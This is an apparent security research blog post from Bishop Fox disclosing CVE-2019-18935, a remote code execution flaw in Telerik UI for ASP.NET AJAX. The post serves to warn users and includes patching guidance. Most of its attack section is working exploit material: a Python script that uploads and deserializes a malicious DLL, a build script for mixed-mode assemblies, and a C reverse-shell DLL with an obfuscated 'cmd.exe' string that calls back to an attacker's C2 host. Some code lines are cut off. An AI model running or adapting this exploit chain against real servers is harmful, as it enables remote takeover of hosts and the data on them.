BISHOPFOX LABS

◀ BACK TO LIST

CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI

Caleb Gross
on Dec 12, 2019 1:00:00 PM

All code references in this post are also available in the CVE-2019-18935 GitHub repo.

Telerik UI for ASP.NET AJAX is a widely used suite of UI components for web applications. It insecurely deserializes JSON objects in a manner that results in arbitrary remote code execution on the software's underlying host. The Managed Security Services (MSS) team at Bishop Fox has identified and exploited internet-facing instances of Telerik UI affected by this vulnerability for our clients. Since Telerik has just responded to this issue by releasing a security advisory for CVE-2019-18935, we're sharing our knowledge about it here in an effort to raise awareness about the severity of this vulnerability, and to encourage affected users to patch and securely configure this software. Patching instructions are included at the end of this post.

Thanks to Markus Wulftange (@mwulftange) of Code White GmbH for initially discovering this insecure deserialization vulnerability and for summarizing his research. Thanks also to Paul Taylor (@bao7uo) who, after authoring an exploit to break encryption for an unrestricted file upload vulnerability, developed an extended custom payload feature that was instrumental in triggering this deserialization vulnerability.

UPDATE: Caleb presented on this topic at 2020 DerpCon, which you can watch below.

.NET Roulette: Exploiting Insecure Deserialization in ...

Contents

Vulnerability Details

The following sections will walk through two vulnerabilities in RadAsyncUpload, which is a file handler in Telerik UI for ASP.NET AJAX that enables uploading files asynchronously (i.e., without reloading the existing page). After covering the context of those two CVEs, we'll dive deeper into the insecure deserialization vulnerability to learn if it affects your system, how the exploit works, and how you can patch systems against this vulnerability.

Overview of Vulnerabilities in RadAsyncUpload

RadAsyncUpload has previously been the subject of a number of vulnerabilities, including CVE-2014-2217, which is a path traversal vulnerability in the handler's file upload POST requests that results in unrestricted file upload. (Don't confuse it with CVE-2017-11317, which also yields unrestricted file upload, but through a different vector…more on that shortly.)

CVE-2014-2217 is outside of the scope of this post, but it's important that we mention it here, since Telerik responded to this issue by encrypting a particular portion of file upload requests to prevent attackers from tampering with sensitive settings. Specifically, Telerik encrypted the `rauPostData` POST parameter, which contains a serialized object that holds configuration details about how the file should be handled (e.g., the destination directory on the web server where the file should be uploaded). If attackers were able to break the encryption protecting the configuration object in `rauPostData`, they could:

- Modify the configuration to allow file uploading anywhere they like on the target web server. This issue (CVE-2017-11317) is a well-known vulnerability and has already been reported on.

behavior while it's being deserialized. This issue (CVE-2019-18935) is the main subject of this post.

In summary, in order to exploit insecure deserialization (CVE-2019-18935) in this file handler, we must first break the encryption that the handler uses to protect file upload POST requests (CVE-2017-11317).

CVE-2017-11317 Unrestricted File Upload via Weak Encryption

Until R2 2017 SP1 (v2017.2.621), RadAsyncUpload's `AsyncUploadHandler` was configured with a hard-coded key that was used to encrypt form data in file upload requests. If this encryption key was not changed from its default value of `PrivateKeyForEncryptionOfRadAsyncUploadConfiguration`, an attacker could use that key to craft a file upload request to `/Telerik.Web.Ui.WebResource.axd?type=rau` with a custom encrypted `rauPostData` POST parameter. If an attacker specified an arbitrary value for the `TempTargetFolder` variable within the encrypted `rauPostData` POST parameter, it would effectively allow file uploads to any directory where the web server had write permissions. Please refer to @straightblast's write-up for a detailed breakdown of `rauPostData`'s structure (and of this vulnerability in general), and Telerik's security advisory for how this vulnerability was remediated.

CVE-2019-18935 Remote Code Execution via Insecure Deserialization

Even though the unrestricted file upload vulnerability had been extensively discussed since its discovery in 2017, Markus Wulftange took a closer look at the way RadAsyncUpload processed the `rauPostData` parameter in file upload requests in early 2019. He noted that `rauPostData` contains both the serialized configuration object **and** the object's type. `AsyncUploadHandler` uses the type specified within `rauPostData` to prepare .NET's `JavaScriptSerializer.Deserialize()` method to properly deserialize the object.

During deserialization, `JavaScriptSerializer` calls setter methods for the specified object type. If this type is controlled by an attacker, this can lead to a dangerous scenario where the attacker may specify the type to be a gadget. A gadget is a class within the executing scope of the application that, as a side effect of being instantiated and modified via setters or field assignment, has special properties that make it useful during deserialization. A remote code execution (RCE) gadget's properties allow it to perform operations that facilitate executing arbitrary code.

Rather than submitting the usual expected `Telerik.Web.UI.AsyncUploadConfiguration` type within `rauPostData`, an attacker can submit a file upload POST request specifying the type as an RCE gadget instead. After using the aforementioned unrestricted file upload vulnerability to upload a malicious mixed mode assembly DLL, an attacker may follow up with a second request to force `JavaScriptSerializer` to deserialize an object of type `System.Configuration.Install.AssemblyInstaller`. When deserialized along with an attacker-supplied `Path` property pointing to the uploaded DLL, this will cause the application to load the DLL into its current domain. As long as the mixed mode assembly DLL is of the same

Friday the 13th JSON Attacks.

OK, What's a Mixed Mode Assembly?

According to MSDN, a mixed mode assembly contains "both unmanaged machine instructions and [CIL] instructions." If you're unfamiliar with the .NET framework, then these terms may not mean anything to you. Let's break these down a bit, starting with a useful description from Wikipedia about how programs execute when developed in .NET:

> Programs written for .NET Framework execute in a software environment (in contrast to a hardware environment) named the Common Language Runtime (CLR). The CLR is an application virtual machine that provides services such as security, memory management, and exception handling. As such, computer code written using .NET Framework is called "managed code."

So, "managed" code is written to run exclusively under the CLR, a layer that wraps native compiled code to prevent some common problems (e.g., buffer overflows) and abstract away some platform-specific implementation details to make code more portable. C# is often considered a managed language as it's typically compiled to CIL (Common Intermediate Language—a platform-independent language between source code and final native machine code) to be run under the CLR. CIL, in turn, is compiled into native code by a just-in-time compiler within the CLR. Conversely, code that does *not* target the CLR is known as "unmanaged" code (e.g., your average C program).

An assembly is a package containing precompiled CIL code that can be executed in the CLR. It is the most fundamental unit of deployment for a .NET application, and can be implemented as an EXE or DLL file. An assembly also contains a manifest that details, among other things, metadata about the assembly's name and version. For further reading, check out this article about injecting .NET assemblies which provides a useful .NET primer, and a related article on mixed assemblies.

CVE-2019-18935 Exploit Details

Now with our background knowledge of the prerequisite unrestricted file upload vulnerability (CVE-2017-11317), the deserialization vulnerability itself, and mixed mode assemblies, we can now explore this exploit step by step.

Identify Software Version

Before attempting to exploit Telerik UI for ASP.NET AJAX, confirm first that the file upload handler is registered:

```
-sk <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
ssage" : "RadAsyncUpload handler is registered succesfully, however, it may not be accessed
```

Additionally, you'll need to confirm that the web application is using a vulnerable version of this software. Conveniently, Telerik publishes a release history that details all major software versions since April 2007.

If the application using RadAsyncUpload does not require authentication, then you can usually find the UI version buried somewhere in the HTML source of the application's home page. The location of the version string isn't consistent, though, so the best method of locating it is to use Burp to search for the regular expression `20[0-9]{2}(\.[0-9]*)+` (and make sure you check the "Regex" box). You can also accomplish this with cURL:

```
curl -skL <HOST> | grep -oE '20[0-9]{2}(\.[0-9]*)+'
```

If that doesn't work, you can alternatively search for the string `<script src="/WebResource` to identify any JavaScript files that are included in the site's home page. Choose one of the static resources there and examine its `Last-Modified` date in the HTTP response header; that date should roughly match the release date of the software. For example, a JavaScript resource bundled with UI for ASP.NET AJAX Q1 2013 (v2013.1.220, released on February 20, 2013) will read `Last-Modified: Wed, 20 Feb 2013 00:00:00 GMT` in the HTTP response header for that file.

With Authentication

If the application **does** require authentication, then you may be able to determine the software version via brute force. Since uploading a file with RadAsyncUpload requires providing the correct version of Telerik UI, you can use Paul Taylor's RAU_crypto exploit to submit file upload requests with known-vulnerable versions until you find one that works:

```
echo 'test' > testfile.txt
for VERSION in 2007.1423 2007.1521 2007.1626 2007.2918 2007.21010 2007.21107 2007.31218 20
    echo -n "$VERSION: "
    python3 RAU_crypto.py -P 'C:\Windows\Temp' "$VERSION" testfile.txt <HOST>/Telerik.Web.
done
```

When the file upload succeeds, you'll see a JSON response containing some encrypted data about the uploaded file:

```
{"fileInfo":{"FileName":"<NAME>","ContentType":"text/html","ContentLength":<LENGTH>,"Date
```

Now that you've verified that the handler is registered and the software is using a vulnerable version, you can proceed to exploit the vulnerability.

Verify Deserialization Vulnerability with Sleep()

In preparing to fully compromise a remote host with a reverse shell, you can initially verify the deserialization vulnerability by uploading and loading a simple mixed mode assembly DLL that causes the web application to sleep for 10 seconds. A simple program, `sleep.c`, will do just that.

Note that I use C, rather than C++, because I've encountered rare occasions where I was unable to execute compiled C++ code on a remote server. I suspect that this is because the target environment did not have the Microsoft Visual C++ Redistributable installed.

```
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        Sleep(10000);  // Time interval in milliseconds.
    return TRUE;
}
```

Create a bare C# class in `empty.cs` to constitute the managed portion of your mixed mode assembly:

```
class Empty {}
```

Then, in a Windows environment with Visual Studio installed, open a command prompt and run `build_dll.bat sleep.c`: build_dll.bat

```
@echo off

set PROGRAM=%1
set BASENAME=%PROGRAM:~0,-2%

for /f "tokens=2-4 delims=/ " %%a in ("%DATE%") do (
    set YYYY=%%c
    set MM=%%a
    set DD=%%b
)
for /f "tokens=1-4 delims=/:." %%a in ("%TIME: =0%") do (
    set HH=%%a
    set MI=%%b
    set SS=%%c
    set FF=%%d
)
set DATETIME=%YYYY%%MM%%DD%%HH%%MI%%SS%%FF%

@echo on

for %%a in (x86 amd64) do (
    setlocal
    call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Buil
    csc /target:module empty.cs
    cl /c %PROGRAM%
    link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%BASENAME%_%DATETIME%_%%a.dll %BASENAME%.obj en
    del %BASENAME%.obj empty.netmodule
```

This batch script accomplishes the following:

- Sets environment variables to compile both 32- and 64-bit code
- Compiles the `empty.cs` C# program as a `.netmodule` file (without generating an assembly)
- Compiles the specified C program (`sleep.c`, in this case) as an `.obj` file (without linking)
- Links the compiled `.netmodule` and `.obj` files, which creates a mixed mode assembly DLL with a unique name

A Cautionary Note About Assembly Names

The assembly's name as specified in `link /out` is baked into the assembly's manifest, and will persist even if the file name changes on disk. It's crucial that the assembly is uniquely named at linking time since a .NET application will **only load an assembly once** with a given name. This means that an assembly "`sleep_123.dll`" may cause the application to sleep the first time that DLL is loaded through deserialization, but it certainly won't successfully load again; you'll need to rerun `build_dll.bat` to generate a new assembly for each exploit attempt on the same server.

Before uploading the DLL, it's important to understand what's going to happen on disk on the remote server. RadAsyncUpload will upload your file to a temporary directory whose location is under your control. If you happen to upload two files with the same name (we're talking about file names on disk, not assembly names in a manifest), RadAsyncUpload will *append* (not overwrite!) the new file to the old one. If the application attempts to load the resulting malformed DLL, it can cause the application to crash—so it's extremely important that you use a unique file name each time you upload a file to the target.

Exploit

The following exploit script leverages the core RadAsyncUpload encryption logic provided by Paul Taylor's `RAU_crypto.py` to craft an encrypted `rauPostData` POST parameter; this enables access to the vulnerable `AsyncUploadHandler` class through which we can upload files and deserialize arbitrary object types. This script also ensures that each uploaded file has a unique name on disk.

CVE-2019-18935.py

```
#!/usr/bin/env python3

# Import encryption routines.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher

from argparse import ArgumentParser
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning

disable_warnings(category=InsecureRequestWarning)

def send_request(files):
    response = post(url, files=files, verify=False)
    try:
        result = loads(response.text)
        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
        pprint(result)
    except:
        print(response.text)

def build_raupostdata(object, type):
    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)

def upload():

    # Build rauPostData.
    object = {
        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), version),
        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), versi
        'MaxFileSize': 0,
        'TimeToLive': {
            'Ticks': 1440000000000,
            'Days': 0,
            'Hours': 40,
            'Minutes': 0,
            'Seconds': 0,
            'Milliseconds': 0,
            'TotalDays': 1.6666666666666666,
            'TotalHours': 40,
            'TotalMinutes': 2400,
            'TotalSeconds': 144000,
            'TotalMilliseconds': 144000000
        },
        'UseApplicationPoolImpersonation': False
    }
    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + version +
    raupostdata = build_raupostdata(object, type)

    with open(filename_local, 'rb') as f:
    metadata = {
        'TotalChunks': 1,
        'ChunkIndex': 0,
        'TotalFileSize': 1,
        'UploadID': filename_remote  # Determines remote filename on disk.
    }

    # Build multipart form data.
    files = {
        'rauPostData': (None, raupostdata),
        'file': (filename_remote, payload, 'application/octet-stream'),
        'fileName': (None, filename_remote),
        'contentType': (None, 'application/octet-stream'),
        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
        'metadata': (None, dumps(metadata))
    }

    # Send request.
    print('[*] Local payload name: ', filename_local, file=stderr)
    print('[*] Destination folder: ', temp_target_folder, file=stderr)
    print('[*] Remote payload name:', filename_remote, file=stderr)
    print(file=stderr)
    send_request(files)

def deserialize():

    # Build rauPostData.
    object = {
        'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
    }
    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install,
    raupostdata = build_raupostdata(object, type)

    # Build multipart form data.
    files = {
        'rauPostData': (None, raupostdata),  # Only need this now.
        '': ''  # One extra input is required for the page to process the request.
    }

    # Send request.
    print('\n[*] Triggering deserialization...\n', file=stderr)
    start = time()
    send_request(files)
    end = time()
    print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)

if __name__ == '__main__':
```

```
    parser.add_argument('-v', dest='version', required=True, help='software version')
    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL
    parser.add_argument('-f', dest='folder', required=True, help='destination folder on ta
    parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.
    args = parser.parse_args()

    temp_target_folder = args.folder.replace('/', '\\')
    version = args.version
    filename_local = args.payload
    filename_remote = str(time()) + splitext(basename(filename_local))[1]
    url = args.url

    upload()

    if not args.test_upload:
        deserialize()
```

Without being able to remotely determine the architecture of the web server's underlying host, you may need to attempt to trigger this vulnerability with both the 32- and 64-bit DLL versions until you find one that works. Invoke the script as follows:

```
python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION> -

[*] Local payload name:  sleep_2019121205271355_x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds
```

If the application pauses for approximately 10 seconds before responding, you've got a working deserialization exploit!

Exploit with Reverse Shell

Now that we've verified that we can exploit this vulnerable version of Telerik UI for ASP.NET AJAX, we can instead exploit it with a DLL that spawns a reverse shell to connect back to a server that we control. We use `rev_shell.c` below, a program that launches a reverse shell as a thread when the DLL is loaded; the threaded nature of this program prevents the shell process from blocking the web application's user interface while running: rev_shell.c

```
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "<HOST>"
#define PORT <PORT>

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2],
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &proc
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}
```

Modify `rev_shell.c` with the hostname and port of the C2 server where you'll be listening for a callback:

```
sed -i .bu 's/<HOST>/<HOST>/; s/<PORT>/<PORT>/' rev_shell.c
```

Using the same method of compiling and linking described above, generate your mixed mode assembly DLL:

```
build_dll.bat rev_shell.c
```

Open a Netcat listener to catch the callback:

```
sudo ncat -lvp <PORT>
```

Then upload and load your DLL!

```
python3 CVE-2019-18935.py -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -v <VERSION>
```

The Telerik security advisory tells you what you need to know, but we'll repeat the most important parts here:

- Upgrade Telerik for ASP.NET AJAX to R3 2019 SP1 (v2019.3.1023) or later.
- Read Telerik's RadAsyncUpload security guide in its entirety, and configure the control according to the recommended security settings.

Conclusion

This write-up has demonstrated how an attacker can chain exploits for unrestricted file upload (CVE-2017-11317) and insecure deserialization (CVE-2019-18935) vulnerabilities to execute arbitrary code on a remote machine.

In recent years, insecure deserialization has emerged as an effective attack vector for executing arbitrary code in object-oriented programming frameworks. As we continue to identify and understand this class of vulnerabilities, it's important that vendors and users employ timely communication to combat the risk posed by vulnerable software. Now that Telerik has released a patch and security advisory for this vulnerability, affected users should do their part by updating and securely configuring their applications.

Big thanks again to Markus Wulftange (@mwulftange) and Paul Taylor (@bao7uo), both of whom paved the way for this work through their prior research.

SHARE

KEYWORDS

- Research - Telerik
- Emerging Threats
- Exploits

RELATED CONTENT

Server-Side Spreadsheet Injection - Formula Injection to Remote Code Execution

TECH BLOG

RMIScout: Safely and Quickly Brute-Force Java RMI Interfaces for Code Execution

TECH BLOG

GadgetProbe: Exploiting Deserialization to Brute-Force the Remote Classpath

FIND OUT FIRST

Be the first to find out about latest tools, advisories, and findings.

MANAGED SERVICES

Continuous Attack Surface Testing (CAST)

How CAST Works

CAST Use Cases

CONSULTING SERVICES

Hybrid Application Assessment
Red Teaming
Product Security Review
External Penetration Testing
Internal Penetration Testing

PARTNER PROGRAMS

Alexa Built-In Devices Assessment
Google Partner Program
Nest Partner Program
Workplace Partner Program

LABS | RESEARCH & RESOURCES

Research & Tools
Advisories
Tech Blog
Industry Blog
Vulnerability Disclosure Policy

CAREERS

Careers
Open Positions
Internships
Fox Tales

COMPANY

About Us
Customer Stories
News
Events

BISHOPFOX LABS

All Blog Posts

CONTACT

1 480 621 8967

Contact@BishopFox.com

ADDRESS

8240 S. Kyrene Rd.
Suite A113
Tempe, AZ
85284
United States

Bishop Fox Privacy Statement